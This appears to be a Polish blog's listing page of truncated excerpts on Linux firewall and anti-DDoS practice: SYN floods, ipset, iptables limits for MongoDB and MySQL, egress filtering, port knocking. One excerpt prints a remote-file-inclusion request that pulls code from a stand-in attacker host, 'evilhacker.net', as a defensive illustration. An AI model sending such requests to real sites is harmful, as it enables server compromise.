N

o właśnie, co z tymi pakietami SYN? Tutaj ponownie pojawia się problem skalowalności systemu conntrack (tak jak dla stanu listen) dla tworzenia (lub usuwania) połączeń, które spowoduje zalew pakietów SYN. Nawet jeśli uporamy się z blokadą w warstwie conntrack to kolejnym krokiem wędrówki pakietu SYN będzie stworzenie gniazda w trybie “nasłuchu”, czyli kolejną barierą wydajnościową. Normalnym procesem łagodzenia tego typu pakietów w systemie Linux będzie mechanizm SYN-cookies, który również ma ograniczenia.
[ czytaj całość… ]

P

odstawowy problem skalowalności protokołu TCP w jądrze Linuksa jest związany z liczbą nowych połączeń, jakie mogą być tworzone na sekundę. Odnosi się to bezpośrednio do obsługi gniazd powstających w trybie nasłuchu, które są blokowane. Blokady powodowane są nie tylko przez pakiety z flagą SYN, ale także SYN-ACK oraz ACK (ostatni w potrójnym uścisku dłoni). Podczas ataków DoS / DDoS za pomocą tego rodzaju pakietów atakujący ma na celu wysłanie, jak największej ilości spreparowanych pakietów, które mają na celu osiągnąć i spowodować problem z blokowaniem gniazd w trybie nasłuchu. Jedną z metod jest podniesienie bardzo niskiego limitu dla tego typu gniazd oraz kolejki oczekujących połączeń w systemie:
[ czytaj całość… ]

Z

ałóżmy, że do naszego serwera DNS, który jest otwarty tylko dla sieci wewnętrznej zaczyna przychodzić niechciany ruch (od setek do tysięcy zapytań na sekundę) pochodzący od szkodliwego oprogramowania / złej konfiguracji serwerów. W zależności od oprogramowania jakiego używamy do obsługi zapytań DNS – zablokowanie konkretnego rodzaju zapytań może stać się dość trudne. Pierwszym rozwiązaniem tego problemu wydaje się zablokowanie wszystkich żądań DNS, które posiadają konkretne wyrażenie w zawartości pakietu.
[ czytaj całość… ]

P

rzez długi czas firewall w Linuksie oparty o iptables nie miał żadnego efektywnego sposobu, aby dopasowywać reguły do zbiorów adresów IP. Jeśli mieliśmy wiele adresów IP, aby dopasować do nich różne reguły (na przykład: setki lub tysiące adresów IP, które należało trzymać z daleka od portu SMTP) trzeba było tworzyć jeden wpis iptables dla każdego adresu IP, a następnie wprowadzać te wpisy sekwencyjnie. To wprowadzało wiele komplikacji w utrzymywanie takiego rozwiązania. Na szczęście w jądrach od serii 2.6.39 (Ubuntu 12.04, 14.04, Fedora 20, RHEL / CentOS 7) pojawiło się rozszerzenie ipset.
[ czytaj całość… ]

A

ktualnie baza MongoDB (v2.4.8) nie posiada możliwości ograniczenia dostępu do wybranych adresów IP na poziomie warstwy aplikacji. Mechanizmem, który można szybko do tego wykorzystać jest netfilter. Daje się on szybko dostosować szczególnie w środowisku wirtualizacji, w którym maszyna wirtualna posiada zmienny, wewnętrzny adres IP na interfejsie eth0 – a jej zewnętrzny adres przechodzi przez mechanizm NAT.
[ czytaj całość… ]

S

erwer WWW głównie akceptuje połączenia przychodzące od użytkowników, a sam niekiedy potrzebuje nawiązać nowe połączenia z zewnętrznymi zasobami np. bazą danych. Dlatego dobrze znając architekturę aplikacji – warto ograniczyć jej połączenia wychodzące tylko do tych, które są jej rzeczywiście niezbędne. To sprawia, że tak wyprofilowana sieciowo aplikacja staje się trudniejsza do zdobycia na przykład przez atakującego, który chce wykorzystać atak z wykorzystaniem zewnętrznych zasobów:

/podatny_kod.php?bug=http://evilhacker.net/exploit?

[ czytaj całość… ]

Z

ałóżmy, że na moim serwerze posiadam zainstalowany tylko serwer MySQL, który nasłuchuje na wszystkich interfejsach (zewnętrzny / wewnętrzny / lokalny). Jednak za pomocą netfilter ograniczam do niego dostęp tylko do interfejsu zwrotnego, a w przyszłości wybiorę kolejne adresy IP, które będą mogły się z nim łączyć. Wydaje proste polecenie iptables:

iptables -A INPUT -p tcp --dport 3306 ! -s 127.0.0.1 -j DROP

A więc mój firewall wygląda następująco:

[root@darkstar ~]# iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
ACCEPT     all  --  anywhere             anywhere
DROP       tcp  -- !localhost.localdomain  anywhere            tcp dpt:mysql

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination
ACCEPT     all  --  anywhere             anywhere

[ czytaj całość… ]

I

ternet Strom Center (ISC) jest programem Technologicznego Instytutu SANS (skrót od: SysAdmin, Audit, Networking, and Security), który ma za zadanie monitorowanie poziomu szkodliwych aktywności w Internecie – zwłaszcza w odniesieniu do zdarzeń mających miejsce w dużych infrastrukturach (poziom zagrożenia sygnalizowany jest odpowiednimi kolorami – zielony, żółty, pomarańczowy, czerwony).
[ czytaj całość… ]

S

krypt (D)DoS-Deflate jest skryptem powłoki stworzonym przez użytkownika forum Defender Hosting o nicku Zaf na potrzeby firmy hostingowej MediaLayer. W historii firmy (w 2005 roku) zapisała się karta, w której firmowe serwery stały się celem ataku bazującego na nawiązaniu bardzo dużej ilości połączeń z wielu adresów IP (Distributed Denial of Service – DDoS). Chociaż dla MediaLayer blokowanie adresów było już powszechną praktyką – to tym razem postawiono na zautomatyzowanie tego procesu.
[ czytaj całość… ]

Z

abezpieczenie sieci komputerowych przed niepowołanym dostępem z zewnątrz to temat bardzo rozległy i pełen rozmaitych koncepcji, z których niektóre wzajemnie się wykluczają. Są też rozwiązania uniwersalne, a – co więcej – beznakładkowe, które pozwalają utrudnić nieuprawniony dostęp. Zalicza się do nich Port knocking.
[ czytaj całość… ]